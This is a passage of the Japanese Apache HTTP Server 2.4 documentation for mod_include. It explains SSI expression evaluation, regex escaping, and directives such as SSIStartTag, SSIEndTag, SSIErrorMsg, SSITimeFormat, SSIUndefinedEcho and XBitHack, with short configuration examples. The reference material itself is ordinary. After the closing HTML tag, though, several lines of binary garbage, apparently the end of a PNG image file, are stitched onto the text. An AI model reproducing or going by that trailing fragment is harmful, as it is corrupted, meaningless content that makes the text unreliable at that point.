    䜿われおいるからです。耇数の文字列が続いおいるずきは、
    空癜を間に入れお䞀぀にくっ぀けられたす。ですから、</p>

    <div class="example"><p><code><var>string1</var>&nbsp;&nbsp;&nbsp;&nbsp;<var>string2</var></code> は <code><var>string1</var>&nbsp;<var>string2</var></code> になりたす。<br />
      <br />
      たた、<br />
      <br />
      <code>'<var>string1</var>&nbsp;&nbsp;&nbsp;&nbsp;<var>string2</var>'</code> は <code><var>string1</var>&nbsp;&nbsp;&nbsp;&nbsp;<var>string2</var></code>
      になりたす。</p></div>

    <div class="note"><h3>真停倀衚珟の最適化</h3>
      <p>匏がもっず耇雑になり、凊理の速床䜎䞋が顕著になった堎合は、
      評䟡ルヌルに埓っお最適化しおみるず良いでしょう。</p>
      <ul>
      <li>評䟡は巊から右に向かっお行われたす。</li>
      <li>二倀真停倀オペレヌタ (<code>&amp;&amp;</code> ず <code>||</code>)
          は、出来る限り短絡評䟡されたす。぀たり結果ずしお䞊蚘のルヌルは、
          <code class="module"><a href="../mod/mod_include.html">mod_include</a></code> が巊の評䟡匏を評䟡したす。
          巊偎で結果を十分決定できる堎合は、評䟡はそこで停止したす。
          そうでない堎合は右偎を評䟡しお、巊ず右の䞡方から結果を蚈算したす。</li>
      <li>短絡評䟡は評䟡の察象に正芏衚珟が含たれる堎合、オフになりたす。
          埌方参照する倉数 (<code>$1</code> .. <code>$9</code>) 
          を埋めるために、実際に評䟡する必芁があるからです。</li>
      </ul>
      <p>特定の匏がどのように扱われるかを知りたい堎合は、
      <code>-DDEBUG_INCLUDE</code> コンパむラオプションを付けお
      <code class="module"><a href="../mod/mod_include.html">mod_include</a></code> をリコンパむルするず良いでしょう。
      これにより、党おのパヌスされた匏に察しお、字句解析情報、
      パヌスツリヌず、
      それがどのようにクラむアントに送られた出力たで評䟡されたかを
      挿入したす。</p>
    </div>
 
    <div class="note"><h3>正芏衚珟内での / の゚スケヌプ</h3>
    <p>正芏衚珟内でデリミタずしお扱いたくない / があれば、それらは党お
    ゚スケヌプしなければなりたせん。
    正芏衚珟の意味がどうであろうず゚スケヌプは必芁です。</p>
    </div>
</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="SSIEndTag" id="SSIEndTag">SSIEndTag</a> <a name="ssiendtag" id="ssiendtag">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>include 芁玠を終了させる文字列</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>SSIEndTag <var>tag</var></code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>SSIEndTag "--&gt;"</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サヌバ蚭定ファむル, バヌチャルホスト</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
<tr><th><a href="directive-dict.html#Compatibility">互換性:</a></th><td>2.0.30 以降で利甚可胜</td></tr>
</table>
    <p>このディレクティブは <code class="module"><a href="../mod/mod_include.html">mod_include</a></code> が探す、
    include 芁玠の終了を瀺す文字列を倉曎したす。</p>

    <div class="example"><h3>䟋</h3><p><code>
      SSIEndTag "%&gt;"
    </code></p></div>


<h3>参照</h3>
<ul>
<li><code class="directive"><a href="#ssistarttag">SSIStartTag</a></code></li>
</ul>
</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="SSIErrorMsg" id="SSIErrorMsg">SSIErrorMsg</a> <a name="ssierrormsg" id="ssierrormsg">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>SSI の゚ラヌがあったずきに衚瀺される゚ラヌメッセヌゞ</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>SSIErrorMsg <var>message</var></code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>SSIErrorMsg "[an error occurred while processing this
directive]"</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サヌバ蚭定ファむル, バヌチャルホスト, ディレクトリ, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Override">䞊曞き:</a></th><td>All</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
<tr><th><a href="directive-dict.html#Compatibility">互換性:</a></th><td>バヌゞョン 2.0.30 以降で䜿甚可胜</td></tr>
</table>
    <p><code class="directive">SSIErrorMsg</code> ディレクティブは <code class="module"><a href="../mod/mod_include.html">mod_include</a></code>
    が゚ラヌが起こったずきに衚瀺するメッセヌゞを倉曎したす。プロダクションサヌバでは
    メッセヌゞがナヌザに衚瀺されないようにするために
    デフォルト゚ラヌメッセヌゞを <code>"&lt;!-- Error --&gt;"</code>
    に倉えるずいうようなこずを考えるかもしれたせん。</p>

    <p>このディレクティブは <code>&lt;!--#config
    errmsg=<var>message</var> --&gt;</code> 芁玠ず同じ効果になりたす。</p>

    <div class="example"><h3>䟋</h3><p><code>
      SSIErrorMsg "&lt;!-- Error --&gt;"
    </code></p></div>

</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="SSIETag" id="SSIETag">SSIETag</a> <a name="ssietag" id="ssietag">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>Controls whether ETags are generated by the server.</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>SSIETag on|off</code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>SSIETag off</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>ディレクトリ, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
<tr><th><a href="directive-dict.html#Compatibility">互換性:</a></th><td>Available in version 2.2.15 and later.</td></tr>
</table><p>このディレクティブの解説文曞は
            ただ翻蚳されおいたせん。英語版をご芧ください。
            </p></div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="SSILastModified" id="SSILastModified">SSILastModified</a> <a name="ssilastmodified" id="ssilastmodified">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>Controls whether <code>Last-Modified</code> headers are generated by the
server.</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>SSILastModified on|off</code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>SSILastModified off</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>ディレクトリ, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
<tr><th><a href="directive-dict.html#Compatibility">互換性:</a></th><td>Available in version 2.2.15 and later.</td></tr>
</table><p>このディレクティブの解説文曞は
            ただ翻蚳されおいたせん。英語版をご芧ください。
            </p></div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="SSILegacyExprParser" id="SSILegacyExprParser">SSILegacyExprParser</a> <a name="ssilegacyexprparser" id="ssilegacyexprparser">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>Enable compatibility mode for conditional expressions.</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>SSILegacyExprParser on|off</code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>SSILegacyExprParser off</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>ディレクトリ, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
<tr><th><a href="directive-dict.html#Compatibility">互換性:</a></th><td>Available in version 2.3.13 and later.</td></tr>
</table><p>このディレクティブの解説文曞は
            ただ翻蚳されおいたせん。英語版をご芧ください。
            </p></div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="SSIStartTag" id="SSIStartTag">SSIStartTag</a> <a name="ssistarttag" id="ssistarttag">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>include 芁玠を開始する文字列</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>SSIStartTag <var>tag</var></code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>SSIStartTag "&lt;!--#"</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サヌバ蚭定ファむル, バヌチャルホスト</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
<tr><th><a href="directive-dict.html#Compatibility">互換性:</a></th><td>バヌゞョン 2.0.30 以降で䜿甚可胜</td></tr>
</table>

    <p>このディレクティブは <code class="module"><a href="../mod/mod_include.html">mod_include</a></code> が探す、include
    芁玠の開始を瀺す文字列を倉曎したす。</p>

    <p>二぀のサヌバで (もしかするず別々の段階で) ファむルの出力を解析しおいお、
    それぞれに違うコマンドを凊理させたい、
    ずいうようなずきにこのオプションを䜿いたす。</p>

    <div class="example"><h3>䟋</h3><p><code>
      SSIStartTag "&lt;%"<br />
      SSIEndTag   "%&gt;"
    </code></p></div>

    <p>䞊の䟋のように察応する
    <code class="directive"><a href="#ssiendtag">SSIEndTag</a></code> を䜵せお䜿うず、
    䞋に瀺す䟋のように SSI ディレクティブを䜿えたす:</p>

    <div class="example"><h3>違う開始ず終了のタグを䜿った SSI ディレクティブ</h3><p><code>
      &lt;%printenv %&gt;
    </code></p></div>

<h3>参照</h3>
<ul>
<li><code class="directive"><a href="#ssiendtag">SSIEndTag</a></code></li>
</ul>
</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="SSITimeFormat" id="SSITimeFormat">SSITimeFormat</a> <a name="ssitimeformat" id="ssitimeformat">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>日付けを珟す文字列の曞匏を蚭定する</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>SSITimeFormat <var>formatstring</var></code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>SSITimeFormat "%A, %d-%b-%Y %H:%M:%S %Z"</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サヌバ蚭定ファむル, バヌチャルホスト, ディレクトリ, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Override">䞊曞き:</a></th><td>All</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
<tr><th><a href="directive-dict.html#Compatibility">互換性:</a></th><td>2.0.30 以降で䜿甚可胜</td></tr>
</table>
<p>このディレクティブは <code>DATE</code> 環境倉数を echo しお日付を珟す文字列が
    衚瀺されるずきの曞匏を倉曎したす。<var>formatstring</var> は
    C 暙準ラむブラリの <code>strftime(3)</code> ず同じ圢匏です。</p>

    <p>このディレクティブは <code>&lt;!--#config
    timefmt=<var>formatstring</var> --&gt;</code> 芁玠ず同じ効果になりたす。</p>

    <div class="example"><h3>䟋</h3><p><code>
      SSITimeFormat "%R, %B %d, %Y"
    </code></p></div>

    <p>䞊のディレクティブでは、日付は "22:26, June 14, 2002" ずいう
    圢匏で衚瀺されたす。</p>

</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="SSIUndefinedEcho" id="SSIUndefinedEcho">SSIUndefinedEcho</a> <a name="ssiundefinedecho" id="ssiundefinedecho">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>未定矩の倉数が echo されたずきに衚瀺される文字列</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>SSIUndefinedEcho <var>string</var></code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>SSIUndefinedEcho "(none)"</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サヌバ蚭定ファむル, バヌチャルホスト, ディレクトリ, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Override">䞊曞き:</a></th><td>All</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
<tr><th><a href="directive-dict.html#Compatibility">互換性:</a></th><td>2.0.34 以降で利甚可胜</td></tr>
</table>
    <p>このディレクティブは倉数が定矩されおいないにも関わらず
    "echo" されたずきに <code class="module"><a href="../mod/mod_include.html">mod_include</a></code>
    が衚瀺する文字列を倉曎したす。</p>

    <div class="example"><h3>䟋</h3><p><code>
      SSIUndefinedEcho "&lt;!-- undef --&gt;"
    </code></p></div>

</div>
<div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="XBitHack" id="XBitHack">XBitHack</a> <a name="xbithack" id="xbithack">ディレクティブ</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">説明:</a></th><td>実行ビットが蚭定されたファむルの SSI ディレクティブを
解析する</td></tr>
<tr><th><a href="directive-dict.html#Syntax">構文:</a></th><td><code>XBitHack on|off|full</code></td></tr>
<tr><th><a href="directive-dict.html#Default">デフォルト:</a></th><td><code>XBitHack off</code></td></tr>
<tr><th><a href="directive-dict.html#Context">コンテキスト:</a></th><td>サヌバ蚭定ファむル, バヌチャルホスト, ディレクトリ, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Override">䞊曞き:</a></th><td>Options</td></tr>
<tr><th><a href="directive-dict.html#Status">ステヌタス:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">モゞュヌル:</a></th><td>mod_include</td></tr>
</table>
    <p><code class="directive">XBitHack</code> ディレクティブは通垞の HTML
    ドキュメントの解析を制埡したす。このディレクティブは <a class="glossarylink" href="../glossary.html#mime-type" title="甚語集を参照">MIME タむプ</a>
    <code>text/html</code> ず関連付けられおいるファむルにのみ圱響したす。
    <code class="directive">XBitHack</code> は以䞋の倀をずるこずができたす。</p>

    <dl>
      <dt><code>off</code></dt>
      <dd>実行可胜ファむルに察しお特別な扱いをしたせん。</dd>

      <dt><code>on</code></dt>
      <dd>ナヌザの実行ビットが蚭定されおいる <code>text/html</code>
      ファむルは党おサヌバで解析する html ドキュメントずしお扱われたす。</dd>

      <dt><code>full</code></dt>
      <dd><code>on</code> ず同様ですが、グルヌプ実行ビットもテストしたす。
      もしそれが蚭定されおいれば、返されるファむルの <code>Last-modified</code> の
      日付をファむルの最終修正時刻にしたす。それが蚭定されおいないずきは、
      last-modified の日付は送られたせん。このビットを蚭定するず、
      クラむアントやプロキシがリク゚ストをキャッシュできるようになりたす。

      <div class="note"><strong>泚意</strong> 他の CGI を <code>#include</code>
      するかもしれないものや、各アクセスに察しお違う出力を生成する
      (もしくは埌のリク゚ストで倉わるかもしれないもの)
      すべおの SSI スクリプトに察しおグルヌプ実行ビットが
      蚭定されおいないこずを確認できない堎合は、full は䜿わない方が良い
      でしょう。</div>
      </dd>
    </dl>

    
</div>
</div>
<div class="bottomlang">
<p><span>翻蚳枈み蚀語: </span><a href="../en/mod/mod_include.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/mod/mod_include.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="../ja/mod/mod_include.html" title="Japanese">&nbsp;ja&nbsp;</a></p>
</div><div class="top"><a href="#page-header"><img src="../images/up.gif" alt="top" /></a></div><div class="section"><h2><a id="comments_section" name="comments_section">コメント</a></h2><div class="warning"><strong>Notice:</strong><br />This is not a Q&amp;A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed again by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Freenode, or sent to our <a href="http://httpd.apache.org/lists.html">mailing lists</a>.</div>
<script type="text/javascript"><!--//--><![CDATA[//><!--
var comments_shortname = 'httpd';
var comments_identifier = 'http://httpd.apache.org/docs/2.4/mod/mod_include.html';
(function(w, d) {
    if (w.location.hostname.toLowerCase() == "httpd.apache.org") {
        d.write('<div id="comments_thread"><\/div>');
        var s = d.createElement('script');
        s.type = 'text/javascript';
        s.async = true;
        s.src = 'https://comments.apache.org/show_comments.lua?site=' + comments_shortname + '&page=' + comments_identifier;
        (d.getElementsByTagName('head')[0] || d.getElementsByTagName('body')[0]).appendChild(s);
    }
    else { 
        d.write('<div id="comments_thread">Comments are disabled for this page at the moment.<\/div>');
    }
})(window, document);
//--><!]]></script></div><div id="footer">
<p class="apache">Copyright 2015 The Apache Software Foundation.<br />この文曞は <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a> のラむセンスで提䟛されおいたす。.</p>
<p class="menu"><a href="../mod/">モゞュヌル</a> | <a href="../mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">甚語</a> | <a href="../sitemap.html">サむトマップ</a></p></div><script type="text/javascript"><!--//--><![CDATA[//><!--
if (typeof(prettyPrint) !== 'undefined') {
    prettyPrint();
}
//--><!]]></script>
</body></html>
ß yôÊáœ~ŒorÀ5ÖJ™={þÁEÇêeŸu磝Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚